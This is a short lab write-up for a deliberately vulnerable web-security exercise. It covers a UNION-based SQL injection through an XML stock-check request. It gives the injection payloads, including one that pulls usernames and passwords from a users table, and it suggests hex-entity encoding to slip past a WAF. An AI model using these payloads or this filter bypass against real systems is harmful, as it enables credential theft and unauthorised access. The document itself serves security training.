BACKGROUND

This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables.

The database contains a users table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user's credentials, then log in to their account.

---

Exploitation

                        <form id="stockCheckForm" action="/product/stock" method="POST">
                            <input required type="hidden" name="productId" value="1">
                            <select name="storeId">
                                <option value="1" >London</option>
                                <option value="2" >Paris</option>
                                <option value="3" >Milan</option>
                            </select>
                            <button type="submit" class="button">Check stock</button>
                        </form>

The button CheckStock it's a post request and it requires 2 parameters: productId and storeId.

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

It uses XML data serialization language to send the data in the POST request body.

␍
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1 UNION SELECT NULL</storeId></stockCheck>

If we try to get the columns by using a UNION SELECT NULL, NULL, ... we get a WAF response "Attack detected", so we can use HackVertor to encode it in "hex entities"

1 UNION SELECT username || '~' || password FROM users

Using this payload we retrieve the usernames and passwords from the table users.